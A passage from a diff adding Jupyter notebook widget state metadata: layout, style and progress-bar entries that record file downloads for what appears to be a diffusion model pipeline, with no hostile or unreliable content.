+            "layout": "IPY_MODEL_bc2730d310454290aedf3e63087213f5",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ec3c6adaf7ed44469ac0a58490dd5159",
+            "value": "100%"
+          }
+        },
+        "9887290953b6414eacb4396a5b240a2e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "990b53f96b66496bb27edb5c1ea012bc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9a91880b909e4b05bf668c410f978ca2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9bc9af26c0bd4a2889ebff1c5cc14dc4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_405d6f07be5743be8ea10f7e2d4ee73d",
+              "IPY_MODEL_06e488fd0cbb44a79328b0c88392b650",
+              "IPY_MODEL_8779a1cb87f6461a9a152ece606fa948"
+            ],
+            "layout": "IPY_MODEL_b897a3bfccf040548ccf16ef62315d5f"
+          }
+        },
+        "9c621a99b504459590a39098afbe5d50": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5c825455d85948b99f86b3495de63b29",
+            "placeholder": "​",
+            "style": "IPY_MODEL_516f366ed73b4ed0991a6a91fb22a3d8",
+            "value": "100%"
+          }
+        },
+        "9d28ea1de5494de5b911c1f120185b7a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9d6a05a53dd24fac9e093e0b278e3381": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d3e78f87ec5c4c3e9e1efafefadea3bd",
+            "placeholder": "​",
+            "style": "IPY_MODEL_8214d94c9de5436a9ed42367af453491",
+            "value": "Downloading (…)cd8e/vae/config.json: 100%"
+          }
+        },
+        "9dc480c24e9844599de9f1e5e3638f33": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9dec2df865ed4e8399c511f504e460f7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_04835e754bc84aa392f824e387a8b205",
+            "max": 100,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_dffbab23b4c34df9b6f9e8ff6c1a1912",
+            "value": 100
+          }
+        },
+        "9e6fae549ea447e89a0ab36ba19e5fab": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "9eb63a9230ba472d87cf106e8abb5dff": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8811223ffe8547e99b837842150396f4",
+            "placeholder": "​",
+            "style": "IPY_MODEL_4e55fede968943718a3c10962f5f708b",
+            "value": " 3.44G/3.44G [00:47&lt;00:00, 71.8MB/s]"
+          }
+        },
+        "9f75675721ae47eb99c80fedb78ea2b7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a109094931b742ee9f4376e54d62660c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2c4ab41623ca4ce3961c8a105536ecdf",
+            "max": 100,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_36cb537e89324f54b767df1e24045108",
+            "value": 100
+          }
+        },
+        "a401d37863744fd58fe863b27d6a562b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "a464d6a9bc374081a75ad8a0514c869a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a613c20dd06d4754b7a890d802476395": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a66a0a813bc24011a91f56778e88244e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "a726d364296442e196e973e575578c30": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "a76fd8c2c78546a8a4cb5446c7b57505": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_9d6a05a53dd24fac9e093e0b278e3381",
+              "IPY_MODEL_c9dd35af3a2449f7b2b7be3915b01a70",
+              "IPY_MODEL_b40740317d3a4116a5b141ad4b6cf6ed"
+            ],
+            "layout": "IPY_MODEL_8babbe3e6d994cbeaa63e70192e858a4"
+          }
+        },
+        "a8983f58e5c44385864ba164e3d00083": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1d631802aab44912a6097e97d2675102",
+            "placeholder": "​",
+            "style": "IPY_MODEL_c772f5d3ffca49a2a4c0d16a4469105c",
+            "value": " 335M/335M [00:05&lt;00:00, 68.1MB/s]"
+          }
+        },
+        "a9d50ec01c8045af902bf580e92ab30c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_92d0bc42d43c46b2a720ee96e7353232",
+            "placeholder": "​",
+            "style": "IPY_MODEL_641c3e365227455c87baeb3597c44cde",
+            "value": " 20/20 [00:02&lt;00:00,  9.26it/s]"
+          }
+        },
+        "aa75dd567b114609a3f47591a002709c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_532e652d4d5245c8b7579c4fda4217c3",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_4b313724533349be92ef5cb53c1388cd",
+            "value": 20
+          }
+        },
+        "aabeb052d7644bdcab945fdd5acf3cd7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ab713f31f1d34894b4826a67de80daf3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "abeaf2b96435442589d217ce731feaf4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c2b0ede066bf405593c66384d9548613",
+              "IPY_MODEL_c3a851883eba4e11b70c705a5fae3ee2",
+              "IPY_MODEL_c0c76cb4f1a04bfe86598e0e0dbffe23"
+            ],
+            "layout": "IPY_MODEL_bbac2ab035374103b2c4912aeda2e425"
+          }
+        },
+        "ac4c75c4296f46e39a0435d0dbafc277": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_916ddc4e29e448788ab4fdeb38d4a217",
+              "IPY_MODEL_aa75dd567b114609a3f47591a002709c",
+              "IPY_MODEL_b3c948132a7a42eab9a90a4c64d0087d"
+            ],
+            "layout": "IPY_MODEL_fbbee3ba802b41c084ee35dccc8bbabf"
+          }
+        },
+        "ac8bc6df18574f06b4fe458c3dff0f24": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_6a6320e8239d4413b9fc766b2e06ff1e",
+              "IPY_MODEL_fb21fb73c13f4b12a6e917160f5891ed",
+              "IPY_MODEL_d7199c08026f4da58da262e192602fc4"
+            ],
+            "layout": "IPY_MODEL_ee194df227d447d9a5a36d4ec08d3a47"
+          }
+        },
+        "acccd96a575d4a679112ff80c935f1c9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "af5bcc7147324069a3d292911d70d057": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "afea13c7ba3a44eeab58c5069f677a61": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e0424e3a00f24718ab911e6162ce8d2c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_0ef6a22743594f0081b7af4c1ec4ab71",
+            "value": "Downloading (…)d8e/unet/config.json: 100%"
+          }
+        },
+        "b00687d7649d45af882cdd6d0f97591d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_48d6f53c34b84be4a219cc30ac539aeb",
+            "placeholder": "​",
+            "style": "IPY_MODEL_6e4877900597413e96d01faf5f76b700",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "b0367ea7d4b549bc85b64029a6da3ad7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b1ac65dd59c94a269c3660d4ebd8fa16": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_76732cd3aa5745058c70bb1aa44b1667",
+              "IPY_MODEL_09bc80852b334a6f9905c6d93eada57c",
+              "IPY_MODEL_c1ee4f8f667743ed94a939a9fe749e39"
+            ],
+            "layout": "IPY_MODEL_ff7c3d43d89a40a9941f2b9baf8e9fd9"
+          }
+        },
+        "b25958353ffe4063bf8d09ed149c2550": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b5c2efd1f5044b68bfb75d5fe16d7829",
+            "placeholder": "​",
+            "style": "IPY_MODEL_48faccb381254cd99a649c239a419649",
+            "value": "100%"
+          }
+        },
+        "b286d3656c404762b3aaff97f4a5892d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "b390338978084bd19f7e7e6ce8ea7e44": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b3c948132a7a42eab9a90a4c64d0087d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4b39f1322aca40da82220ddcfa0c3975",
+            "placeholder": "​",
+            "style": "IPY_MODEL_0f564dbb7bc94fd4880dfd72e6547694",
